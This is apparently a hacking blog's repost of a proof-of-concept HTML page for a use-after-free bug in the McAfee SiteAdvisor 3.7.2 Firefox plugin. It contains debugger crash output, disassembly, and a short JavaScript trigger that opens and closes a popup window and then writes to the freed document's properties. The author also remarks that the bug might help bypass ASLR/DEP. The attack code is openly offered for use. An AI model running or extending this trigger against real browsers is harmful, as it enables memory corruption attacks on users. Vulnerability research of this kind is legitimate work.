Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86371417

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
  <head>
  <meta http-equiv="content-type" content="text/html; charset=windows-1250">
  <meta name="generator" content="PSPad editor, www.pspad.com">
  <title>McAfee SiteAdvisor 3.7.2 for firefox Use After Free Poc</title>
  </head>
  <body>
  <script>

/*
Title: McAfee SiteAdvisor 3.7.2 (firefox) Use After Free
Author: Marcin Ressel
Twitter: https://twitter.com/m_ressel
NPMcFFPlg32.dll
McAfee SiteAdvisor 3.7.2
Tested on: Windows 8.1 (x64) and firefox 38.0.5
Homepage: https://www.siteadvisor.com/

Note: this vlun potentiali give us posibility to bruteforce base modules in memory 
      to bypass ASLR/DEP because the bug doesn't have negative impact to webbrowser proces 
      i mean firefox will not crash after trigger uaf i McAfee

0:107> !gflag
Current NtGlobalFlag contents: 0x02001800
    htg - Enable heap tagging
    ust - Create user mode stack trace database
    hpa - Place heap allocations at ends of pages

0:107> g
(1d68.1b54): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=24b9efec ebx=00000000 ecx=00000000 edx=003bf030 esi=1a978ff0 edi=00000001
eip=6f404391 esp=003bf014 ebp=003bf054 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210246
NPMcFFPlg32!CreateFFScriptable+0x141:
6f404391 8b4008          mov     eax,dword ptr [eax+8] ds:002b:24b9eff4=????????

...
6f40437a 8b02            mov     eax,dword ptr [edx]
6f40437c 85c0            test    eax,eax
6f40437e 7402            je      NPMcFFPlg32!CreateFFScriptable+0x132 (6f404382)
6f404380 8b00            mov     eax,dword ptr [eax]
6f404382 8b4808          mov     ecx,dword ptr [eax+8]
6f404385 8b4004          mov     eax,dword ptr [eax+4]
6f404388 49              dec     ecx
6f404389 234a08          and     ecx,dword ptr [edx+8]
6f40438c 8b0488          mov     eax,dword ptr [eax+ecx*4]
6f40438f 8b00            mov     eax,dword ptr [eax]
6f404391 8b4008          mov     eax,dword ptr [eax+8] ds:002b:24b9eff4=????????
6f404394 eb45            jmp     NPMcFFPlg32!CreateFFScriptable+0x18b (6f4043db)
6f404396 8d45d0          lea     eax,[ebp-30h]
6f404399 50              push    eax
6f40439a e8d10e0000      call    NPMcFFPlg32!CreateFFScriptable+0x1020 (6f405270)
6f40439f 8bd0            mov     edx,eax
6f4043a1 8b02            mov     eax,dword ptr [edx]
6f4043a3 85c0            test    eax,eax
6f4043a5 7402            je      NPMcFFPlg32!CreateFFScriptable+0x159 (6f4043a9)
6f4043a7 8b00            mov     eax,dword ptr [eax]
6f4043a9 8b4808          mov     ecx,dword ptr [eax+8]
6f4043ac 8b4004          mov     eax,dword ptr [eax+4]
6f4043af 49              dec     ecx
6f4043b0 234a08          and     ecx,dword ptr [edx+8]
6f4043b3 8b3488          mov     esi,dword ptr [eax+ecx*4]
6f4043b6 8d45c4          lea     eax,[ebp-3Ch]
6f4043b9 50              push    eax
6f4043ba e8b10e0000      call    NPMcFFPlg32!CreateFFScriptable+0x1020 (6f405270)
6f4043bf 8bd0            mov     edx,eax
...

*/

          var win = null;

          function crash()
          {
                   var doc = win.document;

                   var obj = doc;
                   win.close();

                   for(var p in obj)
                   {
                       if(typeof obj[p] == 'string')
                       {
                           try{ obj[p] = "CCCC"; }catch(err){}
                       }
                   }
          }

          win = window.open('data:text/html,','','width=20,height=20');   //you need disable popupBlocker
          win.onload = crash;
       
       
       
  </script>

  </body>
</html>